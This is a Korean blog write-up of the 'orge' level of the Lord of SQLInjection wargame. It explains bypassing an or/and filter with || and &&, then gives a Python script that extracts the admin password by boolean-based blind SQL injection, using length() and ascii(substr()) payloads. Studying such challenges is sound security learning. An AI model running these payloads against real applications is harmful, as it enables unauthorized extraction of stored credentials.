DoR@Hee의 끄적끄적
los - orge 본문
문제 화면
or and 입력 시 hehe가 나온고
쿼리 결과값에 따라 id 와 pw에 따른 값 을 나타낸다.
$result['pw'] 와 $_GET['pw']에 값이 같을 경우 solve()
결론적으로
1. or, and를 필터링하고있다 > || &&를 이용 우회한다.
2. admin pw의 길이와 값을 알아야한다.
or 구문을 이용해서 쿼리문이 항상 참이 되게 한다.
admin에 pw에 길이를 알기위해서 length(pw) =1을 입력 했을 때 false
admin에 pw에 길이를 알기위해서 length(pw) =8을 입력 했을 때 True
즉 admin pw 의 길이는 8자리
정확한 admin pw에 값을 알기위해서 ascii(substr(pw,1,1))=54-- 을 입력 했을 때 참
이러한 정보를 이용해서 파이썬 코드를 작성하면
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | import requests cookies = {'PHPSESSID': 'o5b1knp9c626c0qqbimmnhuuk4'} for lengths in range(1, 30): length = 0 url1 = "https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php" url = url1 + "?pw=1%27%20||%20id=%27admin%27%20%26%26%20length(pw)={0}--%20".format(lengths) res = requests.get(url, cookies=cookies) if "<h2>Hello admin</h2>" in res.text: print("=====================================") print("길이는{0}".format(lengths)) print("=====================================\n") length = lengths break else: continue for i in range(1, length+1): for j in range(33, 127): result = [] url = "https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=1%27%20||%20id=%27admin%27%20%26%26%20ascii(substr(pw,{0},1))={1}--%20".format(i, j) res = requests.get(url, cookies=cookies) if "<h2>Hello admin</h2>" in res.text: print("{0}".format(chr(j)), end='') result.append(chr(j)) break | cs |
'WarGame > los(los.rubiya.kr)' 카테고리의 다른 글
los - vampire (0) | 2019.03.21 |
---|---|
los - troll (0) | 2019.03.20 |
los - darkelf (0) | 2019.03.20 |
los - wolfman (0) | 2019.03.20 |
los - orc (0) | 2019.03.19 |
Comments